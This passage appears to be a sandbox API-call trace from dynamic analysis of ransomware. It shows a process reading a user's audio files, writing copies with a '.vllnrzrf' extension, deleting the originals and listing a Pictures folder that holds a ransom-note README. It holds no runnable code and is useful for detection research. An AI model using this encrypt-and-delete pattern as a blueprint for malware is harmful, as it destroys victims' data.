[0116.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", lpFilePart=0x0) returned 0x4f [0116.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", lpFilePart=0x0) returned 0x4f [0116.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", lpFilePart=0x0) returned 0x4f [0116.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\njga0xa9ypqw6p.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.193] GetFileType (hFile=0x4f0) returned 0x1 [0116.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.193] GetFileType (hFile=0x4f0) returned 0x1 [0116.194] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c89e888 | out: lpFileSizeHigh=0x1c89e888*=0x0) returned 0xfd8d [0116.194] ReadFile (in: hFile=0x4f0, lpBuffer=0x22bc650, nNumberOfBytesToRead=0xfd8d, lpNumberOfBytesRead=0x1c89e7b8, lpOverlapped=0x0 | out: lpBuffer=0x22bc650*, lpNumberOfBytesRead=0x1c89e7b8*=0xfd8d, lpOverlapped=0x0) returned 1 [0116.195] CloseHandle (hObject=0x4f0) returned 1 [0116.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3.vllnrzrf", lpFilePart=0x0) returned 0x58 [0116.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\njga0xa9ypqw6p.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.249] GetFileType (hFile=0x4f0) returned 0x1 [0116.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.249] GetFileType (hFile=0x4f0) returned 0x1 [0116.249] WriteFile (in: hFile=0x4f0, lpBuffer=0x2314c90*, nNumberOfBytesToWrite=0xff8d, lpNumberOfBytesWritten=0x1c89e818, lpOverlapped=0x0 | out: lpBuffer=0x2314c90*, lpNumberOfBytesWritten=0x1c89e818*=0xff8d, lpOverlapped=0x0) returned 1 [0116.251] CloseHandle (hObject=0x4f0) returned 1 [0116.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", lpFilePart=0x0) returned 0x4f [0116.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", nBufferLength=0x105, lpBuffer=0x1c89e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3", lpFilePart=0x0) returned 0x4f [0116.274] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\NjgA0Xa9YPqw6p.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\njga0xa9ypqw6p.mp3")) returned 1 [0116.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", lpFilePart=0x0) returned 0x4f [0116.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", lpFilePart=0x0) returned 0x4f [0116.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", lpFilePart=0x0) returned 0x4f [0116.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\rk3ackhzhj-lea.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.277] GetFileType (hFile=0x4f0) returned 0x1 [0116.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.278] GetFileType (hFile=0x4f0) returned 0x1 [0116.278] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c89e888 | out: lpFileSizeHigh=0x1c89e888*=0x0) returned 0x16b52 [0116.278] ReadFile (in: hFile=0x4f0, lpBuffer=0x1249fb98, nNumberOfBytesToRead=0x16b52, lpNumberOfBytesRead=0x1c89e7b8, lpOverlapped=0x0 | out: lpBuffer=0x1249fb98*, lpNumberOfBytesRead=0x1c89e7b8*=0x16b52, lpOverlapped=0x0) returned 1 [0116.291] CloseHandle (hObject=0x4f0) returned 1 [0116.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a.vllnrzrf", lpFilePart=0x0) returned 0x58 [0116.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\rk3ackhzhj-lea.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0116.331] GetFileType (hFile=0x4f0) returned 0x1 [0116.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.331] GetFileType (hFile=0x4f0) returned 0x1 [0116.332] WriteFile (in: hFile=0x4f0, lpBuffer=0x121ea610*, nNumberOfBytesToWrite=0x16d52, lpNumberOfBytesWritten=0x1c89e818, lpOverlapped=0x0 | out: lpBuffer=0x121ea610*, lpNumberOfBytesWritten=0x1c89e818*=0x16d52, lpOverlapped=0x0) returned 1 [0116.334] CloseHandle (hObject=0x4f0) returned 1 [0116.343] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", lpFilePart=0x0) returned 0x4f [0116.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", nBufferLength=0x105, lpBuffer=0x1c89e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a", lpFilePart=0x0) returned 0x4f [0116.344] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rK3AckHzHJ-lEa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\rk3ackhzhj-lea.m4a")) returned 1 [0116.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", lpFilePart=0x0) returned 0x54 [0116.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", lpFilePart=0x0) returned 0x54 [0116.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", lpFilePart=0x0) returned 0x54 [0116.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\rqypguihucsd2v-bh5p.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4dc [0116.350] GetFileType (hFile=0x4dc) returned 0x1 [0116.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.350] GetFileType (hFile=0x4dc) returned 0x1 [0116.351] GetFileSize (in: hFile=0x4dc, lpFileSizeHigh=0x1c89e888 | out: lpFileSizeHigh=0x1c89e888*=0x0) returned 0x7f08 [0116.351] ReadFile (in: hFile=0x4dc, lpBuffer=0x21f9b50, nNumberOfBytesToRead=0x7f08, lpNumberOfBytesRead=0x1c89e7b8, lpOverlapped=0x0 | out: lpBuffer=0x21f9b50*, lpNumberOfBytesRead=0x1c89e7b8*=0x7f08, lpOverlapped=0x0) returned 1 [0116.352] CloseHandle (hObject=0x4dc) returned 1 [0116.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav.vllnrzrf", lpFilePart=0x0) returned 0x5d [0116.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e6f0) returned 1 [0116.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\rqypguihucsd2v-bh5p.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4dc [0116.364] GetFileType (hFile=0x4dc) returned 0x1 [0116.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e660) returned 1 [0116.364] GetFileType (hFile=0x4dc) returned 0x1 [0116.364] WriteFile (in: hFile=0x4dc, lpBuffer=0x22377a0*, nNumberOfBytesToWrite=0x8108, lpNumberOfBytesWritten=0x1c89e818, lpOverlapped=0x0 | out: lpBuffer=0x22377a0*, lpNumberOfBytesWritten=0x1c89e818*=0x8108, lpOverlapped=0x0) returned 1 [0116.366] CloseHandle (hObject=0x4dc) returned 1 [0116.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", nBufferLength=0x105, lpBuffer=0x1c89e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", lpFilePart=0x0) returned 0x54 [0116.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", nBufferLength=0x105, lpBuffer=0x1c89e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav", lpFilePart=0x0) returned 0x54 [0116.368] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\il0_Fcd4W\\rQyPguihuCSD2V-bH5P.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\il0_fcd4w\\rqypguihucsd2v-bh5p.wav")) returned 1 [0116.370] CoUninitialize () Thread: id = 91 os_tid = 0xa30 [0116.375] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1c87dfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0116.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87e440) returned 1 [0116.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x1c87df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0116.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\", nBufferLength=0x105, lpBuffer=0x1c87ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\", lpFilePart=0x0) returned 0x2b [0116.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*.*", lpFindFileData=0x1c87e0e0 | out: lpFindFileData=0x1c87e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0116.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e370) returned 1 [0116.383] CoUninitialize () Thread: id = 92 os_tid = 0x618 [0116.388] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1cd4e6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0116.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd4eb20) returned 1 [0116.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x1cd4e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0116.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\", nBufferLength=0x105, lpBuffer=0x1cd4e5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\", lpFilePart=0x0) returned 0x26 [0116.389] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*.*", lpFindFileData=0x1cd4e7c0 | out: lpFindFileData=0x1cd4e7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0116.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd4ea50) returned 1 [0116.398] CoUninitialize () Thread: id = 93 os_tid = 0xb0 [0116.402] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1c0ae080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0116.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae4e0) returned 1 [0116.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x1c0adfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0116.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", nBufferLength=0x105, lpBuffer=0x1c0adf70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpFilePart=0x0) returned 0x27 [0116.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*", lpFindFileData=0x1c0ae180 | out: lpFindFileData=0x1c0ae180*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xab43a770, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab43a770, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0116.403] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xab43a770, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab43a770, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ae240, ftCreationTime.dwHighDateTime=0x1d5da39, ftLastAccessTime.dwLowDateTime=0x96649c70, ftLastAccessTime.dwHighDateTime=0x1d5dec4, ftLastWriteTime.dwLowDateTime=0x96649c70, ftLastWriteTime.dwHighDateTime=0x1d5dec4, nFileSizeHigh=0x0, nFileSizeLow=0x4cb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNy-t4tki-9qC2M.jpg", cAlternateFileName="DNY-T4~1.JPG")) returned 1 [0116.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65bbbae0, ftCreationTime.dwHighDateTime=0x1d5e013, ftLastAccessTime.dwLowDateTime=0x2274b80, ftLastAccessTime.dwHighDateTime=0x1d5d7c0, ftLastWriteTime.dwLowDateTime=0x2274b80, ftLastWriteTime.dwHighDateTime=0x1d5d7c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRvZVYSnppQ3g", cAlternateFileName="DRVZVY~1")) returned 1 [0116.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2db9080, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0x3fba2470, ftLastAccessTime.dwHighDateTime=0x1d5dd30, ftLastWriteTime.dwLowDateTime=0x3fba2470, ftLastWriteTime.dwHighDateTime=0x1d5dd30, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="O4DzL2UqV0oMYi", cAlternateFileName="O4DZL2~1")) returned 1 [0116.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefb4c10, ftCreationTime.dwHighDateTime=0x1d5d936, ftLastAccessTime.dwLowDateTime=0x5d172f10, ftLastAccessTime.dwHighDateTime=0x1d5d888, ftLastWriteTime.dwLowDateTime=0x5d172f10, ftLastWriteTime.dwHighDateTime=0x1d5d888, nFileSizeHigh=0x0, nFileSizeLow=0xa279, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPUSS1LYnS0AOKc.bmp", cAlternateFileName="UPUSS1~1.BMP")) returned 1 [0116.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab43a770, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xab43a770, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab43a770, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0116.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bee5d0, ftCreationTime.dwHighDateTime=0x1d5e69c, ftLastAccessTime.dwLowDateTime=0x33536310, ftLastAccessTime.dwHighDateTime=0x1d5e233, ftLastWriteTime.dwLowDateTime=0x33536310, ftLastWriteTime.dwHighDateTime=0x1d5e233, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VU8DvDzM7aU", cAlternateFileName="VU8DVD~1")) returned 1 [0116.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: lpFindFileData=0x1c0ae1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4429c6c0, ftCreationTime.dwHighDateTime=0x1d5e648, ftLastAccessTime.dwLowDateTime=0x8b5cd7c0, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0x8b5cd7c0, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0xde96, dwReserved0=0x0, dwReserved1=0x0, cFileName="_-Q-Spx3.png", cAlternateFileName="")) returned 1 [0116.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ae1d0 | out: 